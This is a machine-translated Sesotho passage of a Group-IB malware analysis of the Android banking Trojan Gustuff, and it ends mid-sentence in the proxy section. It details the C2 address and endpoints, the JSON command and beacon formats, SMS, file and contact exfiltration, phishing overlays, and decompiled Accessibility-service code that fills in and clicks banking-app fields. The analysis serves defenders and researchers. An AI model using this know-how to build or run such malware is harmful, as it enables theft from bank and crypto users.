Kamoo Android Trojan Gustuff e qhekellang tranelate (fiat le crypto) ho tsoa liak'haonteng tsa hau

Kamoo Android Trojan Gustuff e qhekellang tranelate (fiat le crypto) ho tsoa liak'haonteng tsa hau

Ka tsatsi le leng feela Group-IB tsebisitsoe mabapi le ts'ebetso ea mohala oa Android Trojan Gustuff. E sebetsa ka ho khetheha limmarakeng tsa machaba, ho hlasela bareki ba libanka tse kholo ka ho fetisisa tsa 100 tsa linaheng tse ling, basebelisi ba li-wallet tsa mobile 32 crypto, hammoho le lisebelisoa tse kholo tsa e-commerce. Empa moqapi oa Gustuff ke cybercriminal ea buang Serussia tlasa lebitso la bosoasoi la Bestoffer. Ho fihlela haufinyane tjena, o ile a rorisa Trojan ea hae e le "sehlahisoa se tebileng bakeng sa batho ba nang le tsebo le boiphihlelo."

Setsebi sa tlhahlobo ea khoutu e kotsi ho Group-IB Ivan Pisarev lipatlisisong tsa hae, o bua ka ho qaqileng mabapi le hore na Gustuff o sebetsa joang le hore na likotsi tsa eona ke life.

Gustuff o tsoma mang?

Gustuff ke ea moloko o mocha oa malware o nang le mesebetsi e ikemetseng ka botlalo. Ho ea ka moqapi, Trojan e fetohile mofuta o mocha le o ntlafalitsoeng oa malware a AndyBot, eo ho tloha ka November 2017 e 'nileng ea hlasela lifono tsa Android le ho utsoa chelete ka liforomo tsa marang-rang tsa phishing tse iketsang e le lisebelisoa tsa mohala tsa libanka tse tsebahalang tsa machaba le mekhoa ea ho lefa. Bestoffer e tlaleha hore theko ea khiriso ea Gustuff Bot e ne e le $800 ka khoeli.

Tlhahlobo ea mohlala oa Gustuff e bontšitse hore Trojan e ka lebisa tlhokomelo ho bareki ba sebelisang lisebelisoa tsa selefouno tsa libanka tse kholo ka ho fetisisa, tse kang Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, hammoho le li-wallet tsa crypto. Bitcoin Wallet, BitPay, Cryptopay, Coinbase, joalo-joalo.

Qalong e bōpiloe e le Trojan ea khale ea banka, phetolelong ea hona joale Gustuff e atolositse haholo lenane la lipakane tse ka 'nang tsa hlaseloa. Ntle le likopo tsa Android bakeng sa libanka, lik'hamphani tsa fintech le lits'ebeletso tsa li-crypto, Gustuff e etselitsoe basebelisi ba likopo tsa 'maraka, mabenkele a marang-rang, lits'ebetso tsa tefo le manqosa a potlakileng. Ka ho khetheha, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut le tse ling.

Sebaka sa ho kena: palo ea tšoaetso ea bongata

Gustuff e tšoauoa ka "vector ea khale" ea ho kenella ho li-smartphones tsa Android ka li-SMS tse nang le lihokelo tsa li-APK. Ha sesebelisoa sa Android se tšoaelitsoe ke Trojan ka taelo ea seva, Gustuff e ka tsoela pele ho hasana ka har'a database ea mohala o tšoaelitsoeng kapa ka database ea seva. Ts'ebetso ea Gustuff e etselitsoe ts'oaetso ea bongata le capitalization e kholo ea khoebo ea basebetsi ba eona - e na le ts'ebetso e ikhethang ea "auto-fill" ho likopo tse molaong tsa banka le li-wallet tsa crypto, tse u lumellang ho potlakisa le ho lekanya bosholu ba chelete.

Phuputso ea Trojan e bonts'itse hore ts'ebetso ea autofill e kentsoe ho eona ho sebelisoa Ts'ebeletso ea Accessibility, e leng ts'ebeletso ea batho ba nang le bokooa. Gustuff ha se Trojan ea pele e atlehileng ho feta ts'ireletso khahlanong le tšebelisano le likarolo tsa fensetere tsa lits'ebetso tse ling tse sebelisang ts'ebeletso ena ea Android. Leha ho le joalo, ts'ebeliso ea Ts'ebeletso ea Accessibility hammoho le mochini o tlatsang koloi e ntse e sa tloaeleha.

Kamora ho khoasolla mohala oa motho ea hlasetsoeng, Gustuff, a sebelisa Ts'ebeletso ea phihlello, o khona ho sebelisana le likarolo tsa fensetere tsa lits'ebetso tse ling (banka, chelete ea crypto, hammoho le likopo tsa ho reka inthaneteng, melaetsa, joalo-joalo), ho etsa liketso tse hlokahalang ho bahlaseli. . Mohlala, ka taelo ea seva, Trojan e ka tobetsa likonopo le ho fetola boleng ba likarolo tsa mongolo lits'ebetsong tsa banka. Ho sebelisa mokhoa oa Ts'ebeletso ea Phihlello ho lumella Trojan hore e fetele mekhoa ea ts'ireletso e sebelisoang ke libanka ho loantša Trojan ea mehleng ea khale, hammoho le liphetoho leanong la ts'ireletso le kentsoeng ke Google liphetolelong tse ncha tsa Android OS. Kahoo, Gustuff "o tseba" ho thibela tšireletso ea Google Protect: ho ea ka mongoli, mosebetsi ona o sebetsa ho 70% ea linyeoe.

Kamoo Android Trojan Gustuff e qhekellang tranelate (fiat le crypto) ho tsoa liak'haonteng tsa hau

Gustuff e ka boela ea bonts'a litsebiso tsa PUSH tse seng tsa nnete tse nang le litšoantšo tsa lits'ebetso tsa mohala tse molaong. Mosebelisi o tobetsa tsebiso ea PUSH mme o bona fensetere ea phishing e jarollotsoeng ho tsoa ho seva, moo a kenyang karete ea banka e kopiloeng kapa data ea wallet ea crypto. Boemong bo bong ba Gustuff, kopo molemong oa eona eo tsebiso ea PUSH e hlahisitsoeng ea buloa. Tabeng ena, malware, ka taelo e tsoang ho seva ka Tšebeletso ea Phihlello, e ka tlatsa masimo a foromo ea kopo ea banka bakeng sa ts'ebetso ea bolotsana.

Ts'ebetso ea Gustuff e boetse e kenyelletsa ho romella tlhahisoleseling mabapi le sesebelisoa se nang le tšoaetso ho seva, bokhoni ba ho bala / ho romella melaetsa ea SMS, ho romella likopo tsa USSD, ho qala SOCKS5 Proxy, ho latela sehokelo, ho romella lifaele (ho kenyeletsoa le litšoantšo tsa litokomane, linepe, linepe) ho seva , khutlisetsa sesebelisoa ho li-setting tsa feme.

Malware Analysis

Pele o kenya ts'ebeliso e mpe, Android OS e bonts'a mosebelisi fensetere e nang le lethathamo la litokelo tse kopiloeng ke Gustuff:

Kamoo Android Trojan Gustuff e qhekellang tranelate (fiat le crypto) ho tsoa liak'haonteng tsa hau
Sesebelisoa se tla kengoa feela kamora ho fumana tumello ea mosebelisi. Kamora ho qala ts'ebeliso, Trojan e tla bonts'a mosebelisi fensetere:

Kamoo Android Trojan Gustuff e qhekellang tranelate (fiat le crypto) ho tsoa liak'haonteng tsa hau
Ka mor'a moo e tla tlosa letšoao la eona.

Gustuff e tletse, ho ea ka mongoli, ke pakete e tsoang FTT. Kamora ho qala, sesebelisoa se lula se ikopanya le seva sa CnC ho amohela litaelo. Lifaele tse 'maloa tseo re li hlahlobileng li sebelisitse aterese ea IP e le seva sa taolo 88.99.171[.]105 (ka mor'a moo re tla e hlalosa e le <%CnC%>).

Kamora ho qala, lenaneo le qala ho romella melaetsa ho seva http://<%CnC%>/api/v1/get.php.

Karabelo e lebelletsoe ho ba JSON ka sebopeho se latelang:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Nako le nako ha sesebelisoa se fihlella, se romella tlhahisoleseling mabapi le sesebelisoa se tšoaelitsoeng. Sebopeho sa molaetsa se bontšitsoe ka tlase. Ke habohlokoa ho hlokomela hore masimo feletseng, eketsehileng, ditiriso и tumello - ka boikhethelo 'me e tla romelloa feela haeba ho na le taelo ea kopo e tsoang ho CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Ho boloka data ea tlhophiso

Gustuff o boloka tlhahisoleseling ea bohlokoa ka har'a faele ea khetho. Lebitso la faele, hammoho le mabitso a liparamente tse ho lona, ​​​​ke phello ea ho bala kakaretso ea MD5 ho tloha khoele. 15413090667214.6.1<%name%>kae <%name%> - boleng ba lebitso la pele. Tlhaloso ea Python ea mosebetsi oa ho hlahisa mabitso:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Ho tse latelang re tla e hlalosa e le lebitsoJenereitha(kenyo).
Kahoo lebitso la pele la faele ke: jenereithara("API_SERVER_LIST"), e na le litekanyetso tse nang le mabitso a latelang:

Lebitso le feto-fetohang boleng
jenereithara("API_SERVER_LIST") E na le lethathamo la liaterese tsa CnC ka sebopeho sa sehlopha.
jenereithara("API_SERVER_URL") E na le aterese ea CnC.
jenereithara ea lebitso("SMS_UPLOAD") Folakha e behiloe ka ho sa feleng. Haeba folakha e setiloe, e romela melaetsa ea SMS ho CnC.
jenereithara("SMS_ROOT_NUMBER") Nomoro ea mohala eo melaetsa ea SMS e amoheloang ke sesebelisoa se nang le tšoaetso e tla romelloa ho eona. Ea kamehla ha e na thuso.
jenereithara("SMS_ROOT_NUMBER_RESEND") Folakha e hlakotsoe ka ho sa feleng. Haeba e kentsoe, ha sesebelisoa se nang le tšoaetso se fumana SMS, se tla romelloa ho nomoro ea motso.
lebitsoJenereithara("DEFAULT_APP_SMS") Folakha e hlakotsoe ka ho sa feleng. Haeba folakha ena e setiloe, sesebelisoa se tla sebetsana le melaetsa ea SMS e kenang.
lebitsoJenereithara("DEFAULT_ADMIN") Folakha e hlakotsoe ka ho sa feleng. Haeba folakha e behiloe, kopo e na le litokelo tsa tsamaiso.
nameGenerator("DEFAULT_ACCESSIBILITY") Folakha e hlakotsoe ka ho sa feleng. Haeba folakha e setiloe, ho tla sebetsa tšebeletso e sebelisang Accessibility Service.
jenereithara("APPS_CONFIG") Ntho ea JSON e nang le lethathamo la liketso tse tlamehang ho etsoa ha ketsahalo ea phihlello e amanang le ts'ebeliso e itseng e hlahisoa.
jenereithara("APPS_INSTALLED") E boloka lethathamo la lits'ebetso tse kentsoeng sesebelisoa.
jenereithara ea lebitso("IS_FIST_RUN") Folakha e setiloe bocha qalong.
jenereithara("UNIQUE_ID") E na le sekhetho se ikhethileng. E hlahisoa ha bot e qala ka lekhetlo la pele.

Mojule oa ho sebetsana le litaelo tse tsoang ho seva

Sesebelisoa se boloka liaterese tsa li-server tsa CnC ka sebopeho sa sehlopha se kentsoeng ke Motheo85 mela. Lethathamo la li-server tsa CnC le ka fetoloa ha ho fumana taelo e nepahetseng, moo liaterese li tla bolokoa faeleng eo u e ratang.

Ho arabela kopo, seva se romela taelo ho kopo. Ke habohlokoa ho hlokomela hore litaelo le liparamente li hlahisoa ka mokhoa oa JSON. Sesebelisoa se ka sebetsana le litaelo tse latelang:

sehlopha tlhaloso
peleStart Qala ho romela melaetsa ea SMS e amoheloang ke sesebelisoa se nang le tšoaetso ho seva sa CnC.
forwardStop Khaotsa ho romela melaetsa ea SMS e amoheloang ke sesebelisoa se nang le tšoaetso ho seva sa CnC.
ussdRun Etsa kopo ea USSD. Nomoro eo u hlokang ho etsa kopo ea USSD ho eona e sebakeng sa "nomoro" ea JSON.
romelaSms Romela molaetsa o le mong oa SMS (ha ho hlokahala, molaetsa o "arohane" ka likarolo). E le paramethara, taelo e nka ntho ea JSON e nang le masimo "ho" - nomoro ea sebaka le "mmele" - 'mele oa molaetsa.
romelaSmsAb Romella melaetsa ea SMS (haeba ho hlokahala, molaetsa o "arotsoe" ka likarolo) ho bohle ba lethathamong la batho ba nang le tšoaetso. Nako e pakeng tsa ho romela melaetsa ke metsotsoana e 10. 'Mele oa molaetsa o tšimong ea JSON "'mele"
romelaSmsMass Romela melaetsa ea SMS (haeba ho hlokahala, molaetsa o "aroha" ka likarolo) ho mabitso a boletsoeng ho li-parameter tsa taelo. Nako e pakeng tsa ho romela melaetsa ke metsotsoana e 10. Joalo ka paramethara, taelo e nka sehlopha sa JSON (sebaka sa "sms"), likarolo tsa eona li nang le likarolo "ho" - nomoro ea sebaka le "mmele" - sehlopha sa molaetsa.
fetolaServer Taelo ena e ka nka boleng ka konopo ea "url" joalo ka parameter - ebe bot e tla fetola boleng ba nameGenerator("SERVER_URL"), kapa "array" - ebe bot e tla ngola lethathamo ho namegenerator ("API_SERVER_LIST") Kahoo, kopo e fetola aterese ea li-server tsa CnC.
adminNomoro Taelo e etselitsoe ho sebetsa ka nomoro ea motso. Taelo e amohela ntho ea JSON e nang le liparamente tse latelang: "nomoro" - fetola lebitsoGenerator("ROOT_NUMBER") ho boleng bo amoheloang, "romella" - fetola lebitsoGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - romela ho nameGenerator("ROOT_NUMBER" ) ikhethangID.
updateInfo Romella lintlha ka sesebelisoa se tšoaelitsoeng ho seva.
hlakolaData Taelo e reretsoe ho hlakola data ea mosebelisi. Ho ipapisitse le hore na sesebelisoa se qalile ka lebitso lefe, data e ka hlakoloa ka ho qala sesebelisoa bocha (mosebelisi oa mantlha), kapa ho hlakotsoe data ea mosebelisi feela (mosebelisi oa bobeli).
li-socksStart Qala mojule oa Proxy. Ts'ebetso ea mojule e hlalositsoe karolong e arohaneng.
likausiStop Emisa mojule oa Proxy.
OpenLink Latela sehokelo. Sehokelo se fumaneha paramenteng ea JSON tlasa konopo ea "url". "android.intent.action.VIEW" e sebelisoa ho bula sehokelo.
uploadAllSms Romela melaetsa eohle ea SMS e amohetsoeng ke sesebelisoa ho seva.
uploadAllPhotos Romella litšoantšo ho tsoa ho sesebelisoa se tšoaelitsoeng ho ea ho URL. URL e tla e le parameter.
uploadFile Romela faele ho URL ho tsoa sesebelisoa se nang le tšoaetso. URL e tla e le parameter.
uploadPhoneNumbers Romela dinomoro tsa mohala ho tswa lenaneng la mabitso ho ya ho seva. Haeba boleng ba ntho ea JSON e nang le senotlolo "ab" e amoheloa e le parameter, sesebelisoa se fumana lethathamo la mabitso ho tsoa bukeng ea mehala. Haeba ntho ea JSON e nang le senotlolo "sms" e amoheloa e le parameter, kopo e bala lenane la mabitso ho tsoa ho ba romellang melaetsa ea SMS.
fetolaArchive Sesebelisoa se khoasolla faele atereseng e tlang e le paramethara ka konopo ea "url". Faele e jarollotsoeng e bolokoa ka lebitso "archive.zip". Sesebelisoa se tla notlolla faele, ka boikhethelo se sebelisa senotlolo sa polokelo "b5jXh37gxgHBrZhQ4j3D". Lifaele tse sa koaloang li bolokiloe bukeng ea [sebaka sa ka ntle]/hgps. Bukeng ena, sesebelisoa se boloka li-fake tsa marang-rang (tse hlalositsoeng ka tlase).
liketso Taelo e etselitsoe ho sebetsa le Action Service, e hlalositsoeng karolong e arohaneng.
mamella teko Ho se etse letho.
jarolla Taelo e reretsoe ho khoasolla faele ho tsoa ho seva e hole le ho e boloka bukeng ea "Downloads". URL le lebitso la faele li tla e le parameter, masimo a ntho ea parameter ea JSON, ka ho latellana: "url" le "fileName".
tlosa E tlosa faele ho "Downloads" directory. Lebitso la faele le tla ka parameter ea JSON ka konopo ea "fileName". Lebitso le tloaelehileng la faele ke "tmp.apk".
tsebiso Hlahisa tsebiso e nang le litlhaloso le litemana tsa sehlooho tse hlalositsoeng ke seva sa tsamaiso.

Taelo Format tsebiso:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Tsebiso e hlahisoang ke faele e ntseng e etsoa lipatlisiso e shebahala e ts'oana le litsebiso tse hlahisoang ke kopo e boletsoeng tšimong. app e. Haeba boleng ba tšimo OpenApp - Ke 'nete, ha tsebiso e buloa, kopo e boletsoeng tšimong e qala app e. Haeba boleng ba tšimo OpenApp - Bohata, joale:

  • Ho bula fensetere ea phishing, eo litaba tsa eona li jarollotsoeng ho tsoa bukeng <% polokelo ea kantle%>/hgps/<%filename%>
  • Fesetere ea phishing e ea bula, eo litaba tsa eona li jarollotsoeng ho tsoa ho seva <%url%>?id=<%Bot id%>&app=<%Lebitso la kopo%>
  • Fesetere ea phishing ea bula, e ipatileng joalo ka Karete ea Google Play, e nang le monyetla oa ho kenya lintlha tsa karete.

Kopo e romela sephetho sa taelo efe kapa efe ho <%CnC%>set_state.php joalo ka ntho ea JSON ka sebopeho se latelang:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

LiketsoService
Lethathamo la litaelo tseo lits'ebetso tsa kopo li li kenyelletsang nke khato e molemo. Ha taelo e amoheloa, mojule oa ts'ebetso ea taelo o fihlella ts'ebeletso ena ho phethahatsa taelo e atolositsoeng. Ts'ebeletso e amohela ntho ea JSON joalo ka paramethara. Tšebeletso e ka phetha litaelo tse latelang:

1. PARAMS_KETSO - ha o amohela taelo e joalo, tšebeletso e qala ho fumana ho tsoa ho parameter ea JSON boleng ba konopo ea Mofuta, e ka ba ka tsela e latelang:

  • serviceInfo - subcommand e fumana boleng ka senotlolo ho tsoa ho paramente ea JSON kenyeletsaNotBohlokoa. Haeba folakha e le 'Nete, sesebelisoa se beha folakha FLAG_ISOLATED_PROCESS ho tshebeletso e sebedisang Tshebeletso ya Phihlello. Ka tsela ena tšebeletso e tla qalisoa ka mokhoa o fapaneng.
  • motso — amohela mme o romele ho seva tlhahisoleseling mabapi le fensetere e shebileng hajoale. Sesebelisoa se fumana leseli ho sebelisa sehlopha sa AccessibilityNodeInfo.
  • admin - kopa litokelo tsa batsamaisi.
  • lieha - emisa ActionsService bakeng sa palo ea milliseconds e boletsoeng paramethareng bakeng sa senotlolo sa "data".
  • lifensetere — romella lenane la lifensetere tse bonoang ho mosebelisi.
  • kenya — kenya sesebelisoa sesebelisoa se tšoaelitsoeng. Lebitso la sephutheloana sa li-archive le ka har'a konopo ea "fileName". Sebaka sa polokelo ka boeona se fumaneha bukeng ea Lits'oants'o.
  • lefatše - subcommand e reretsoe ho tsamaea ho tsoa fensetereng ea hajoale:
    • ho menu ya Quick Settings
    • morao
    • hae
    • ho litsebiso
    • ho fensetere ea lits'ebetso tse sa tsoa buloa

  • Qala - qala kopo. Lebitso la kopo le tla e le parameter ka konopo ya data.
  • melumo — fetola mokgwa wa modumo ho kgutsisa.
  • notlolla — o bonesa lebone le ka morao la skrini le keyboard hore e be kganya e felletseng. Sesebelisoa se etsa ketso ena se sebelisa WakeLock, se totobatsa khoele [Lable ea kopo]:INFO joalo ka tag.
  • permitOverlay - mosebetsi ha o sebetse (karabo ea ho phethahatsa taelo ke {"molaetsa":"Ha e tšehetse"} kapa {"molaetsa":"low sdk"})
  • boitšisinyo - mosebetsi ha o sebetse (karabo ea ho phethahatsa taelo ke {"molaetsa":"Ha e tšehetse"} kapa {"molaetsa":"Low API"})
  • ditumello - taelo ena ea hlokahala ho kopa litumello bakeng sa kopo. Leha ho le joalo, mosebetsi oa ho botsa ha o kenngoe tšebetsong, kahoo taelo ha e na moelelo. Lethathamo la litokelo tse kopiloeng le tla e le sehlopha sa JSON se nang le konopo ea "litumello". Lenane le tloaelehileng:
    • tumello ea android.READ_PHONE_STATE
    • tumello ea android.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.tumello.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.BALA_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • bulehetse - hlahisa fensetere ea phishing. Ho ipapisitse le paramethara e tsoang ho seva, sesebelisoa se ka bonts'a tse latelang tsa phishing windows:
    • Hlahisa fensetere ea phishing eo likahare tsa eona li ngotsoeng faeleng bukeng <% directory ea kantle%>/hgps/<%param_filename%>. Sephetho sa tšebelisano ea mosebelisi le fensetere se tla romelloa ho <%CnC%>/records.php
    • Hlahisa fensetere ea phishing eo litaba tsa eona li kentsoeng pele ho tsoa atereseng <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Sephetho sa tšebelisano ea mosebelisi le fensetere se tla romelloa ho <%CnC%>/records.php
    • Hlahisa fenstere ea phishing e ikhakantseng joalo ka Karete ea Google Play.

  • letlang - taelo e etselitsoe ho sebelisana le likarolo tsa fensetere tsa lits'ebetso tse ling ho sebelisa AcessibilityService. Tšebeletso e khethehileng e kentsoe tšebetsong lenaneong la lipuisano. Sesebelisoa se ntseng se etsoa lipatlisiso se ka sebelisana le windows:
    • E sebetsa hajoale. Tabeng ena, parameter e na le id kapa mongolo (lebitso) la ntho eo u lokelang ho sebelisana le eona.
    • E bonahala ho mosebelisi nakong eo taelo e phethisoang. Sesebelisoa se khetha windows ka id.

    Hoba o amohetse dintho AccessibilityNodeInfo Bakeng sa likarolo tse khahlisang tsa fensetere, ts'ebeliso, ho latela liparamente, e ka etsa liketso tse latelang:

    • tsepama — beha tsepamiso ho ntho.
    • tobetsa - tobetsa ntho e itseng.
    • actionId - etsa ketso ka ID.
    • setText — fetola mongolo wa ntho. Ho fetola mongolo hoa khoneha ka litsela tse peli: etsa ketso ACTION_SET_TEXT (haeba mofuta oa Android oa sesebelisoa se tšoaelitsoeng o le monyane ho kapa o lekana le LOLLIPOP), kapa ka ho beha khoele holim'a clipboard le ho e manamisa nthong (bakeng sa liphetolelo tsa khale). Taelo ena e ka sebelisoa ho fetola data ts'ebelisong ea banka.

2. PARAMS_LIKETSO - joalo ka PARAMS_KETSO, ho fihla feela letoto la litaelo tsa JSON.

Ho bonahala eka batho ba bangata ba tla thahasella hore na mosebetsi oa ho sebelisana le likarolo tsa fensetere tsa kopo e 'ngoe o shebahala joang. Ke kamoo ts'ebetso ena e sebelisoang ho Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Mosebetsi oa ho fetola mongolo:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Kahoo, ka tlhophiso e nepahetseng ea seva sa taolo, Gustuff o khona ho tlatsa likarolo tsa mongolo ts'ebelisong ea banka mme o tobetse likonopo tse hlokahalang ho phethela tšebetso. Trojan ha e hloke le ho kena ts'ebetsong-ho lekane ho romela taelo ea ho hlahisa tsebiso ea PUSH ebe o bula kopo ea banka e kentsoeng pele. Mosebelisi o tla ipaka, ka mor'a moo Gustuff a tla khona ho tlatsa koloi.

Mojule oa ho sebetsana le molaetsa oa SMS

Sesebelisoa se kenya sesebelisoa sa liketsahalo hore sesebelisoa se tšoaelitsoeng se amohele melaetsa ea SMS. Sesebelisoa se ithutoang se ka fumana litaelo ho tsoa ho opareitara, tse tlang 'meleng oa molaetsa oa SMS. Litaelo li tla ka sebopeho:

7!5=<%Base64 encoded command%>

Sesebelisoa se batla mohala ho melaetsa eohle e kenang ea SMS 7!5=, ha khoele e fumanoa, e khetholla khoele ho tloha Base64 ho offset 4 ebe e phethahatsa taelo. Litaelo li tšoana le tse nang le CnC. Sephetho sa ts'ebetso se romelloa ho nomoro e ts'oanang eo taelo e tsoang ho eona. Sebopeho sa karabo:

7*5=<%Base64 encode of “result_code command”%>

Ka boikhethelo, sesebelisoa se ka romella melaetsa eohle e amoheloang ho nomoro ea Root. Ho etsa sena, nomoro ea Root e tlameha ho hlalosoa faeleng ea khetho mme folakha ea molaetsa oa ho tsamaisa molaetsa e tlameha ho behoa. Molaetsa oa SMS o romelloa ho nomoro ea mohlaseli ka sebopeho:

<%Ho tswa ho nomoro%> - <%Nako, sebopeho: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Hape, ka boikhethelo, sesebelisoa se ka romella melaetsa ho CnC. Molaetsa oa SMS o romelloa ho seva ka sebopeho sa JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Haeba folakha e behiloe lebitsoJenereithara("DEFAULT_APP_SMS") - Sesebelisoa se emisa ho sebetsana le molaetsa oa SMS mme se hlakola lenane la melaetsa e kenang.

Mojule oa proxy

Sesebelisoa se ithutoang se na le module ea Backconnect Proxy (eo hamorao e tla bitsoa "mojule ea proxy), e nang le sehlopha se arohaneng se kenyelletsang masimo a sa fetoheng a nang le tlhophiso. Lintlha tsa tlhophiso li bolokoa ka har'a sampuli ka mokhoa o hlakileng:

Kamoo Android Trojan Gustuff e qhekellang tranelate (fiat le crypto) ho tsoa liak'haonteng tsa hau

Liketso tsohle tse entsoeng ke mojule oa Proxy li kentsoe ka har'a lifaele. Ho etsa sena, kopo ho polokelo ea ka ntle e etsa bukana e bitsoang "logs" (sebaka sa ProxyConfigClass.logsDir sehlopheng sa tlhophiso), moo lifaele tsa log li bolokiloeng teng. Ho rekota ho hlaha lifaeleng tse nang le mabitso:

  1. main.txt - mosebetsi oa sehlopha o bitsoang CommandServer o kentsoe faeleng ena. Ho latela se latelang, ho kenya mohala oa khoele faeleng ena ho tla bitsoa mainLog(str).
  2. seboka-<%id%>.txt - faele ena e boloka data ea log e amanang le nako e itseng ea proxy. Ka se latelang, ho kenya khoele ea khoele faeleng ena ho tla hlalosoa e le sessionLog (str).
  3. seva.txt - faele ena e sebelisetsoa ho kenya data eohle e ngotsoeng ho lifaele tse hlalositsoeng ka holimo.

Sebopeho sa data sa log:

<%Date%> [Tlhalo[<%thread id%>], id[]]: khoele ea log

Mekhelo e hlahang nakong ea ts'ebetso ea mojule oa Proxy le eona e kentsoe faeleng. Ho etsa sena, kopo e hlahisa ntho ea JSON ka mokhoa o latelang:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Ebe e e fetolela ho setšoantšo sa likhoele ebe e e kenya.

Mojule oa Proxy o qalisoa ka mor'a ho fumana taelo e lumellanang. Ha taelo ea ho qala mojule oa Proxy e amoheloa, ts'ebeliso e qala ts'ebeletso e bitsoang Tšebeletso e kholo, e ikarabellang bakeng sa ho laola ts'ebetso ea mojule oa Proxy - ho qala le ho e emisa.

Mehato ea ho qala tšebeletso:

1. E qala sebali sa nako se sebetsang hang ka motsotso ebe se lekola tšebetso ea mojule oa Proxy. Haeba module e sa sebetse, e qala.
Hape ha ketsahalo e qala android.net.conn.CONNECTIVITY_CHANGE Mojule oa Proxy oa qalisoa.

2. Sesebelisoa se theha senotlolo sa ho tsosoa ka paramethara PARTIAL_WAKE_LOCK le ho mo hapa. Sena se thibela CPU ea sesebelisoa ho kena mokhoeng oa ho robala.

3. E qala sehlopha sa ts'ebetso ea litaelo sa mojule oa Proxy, pele e rema mola mainLog("ho qala seva") и

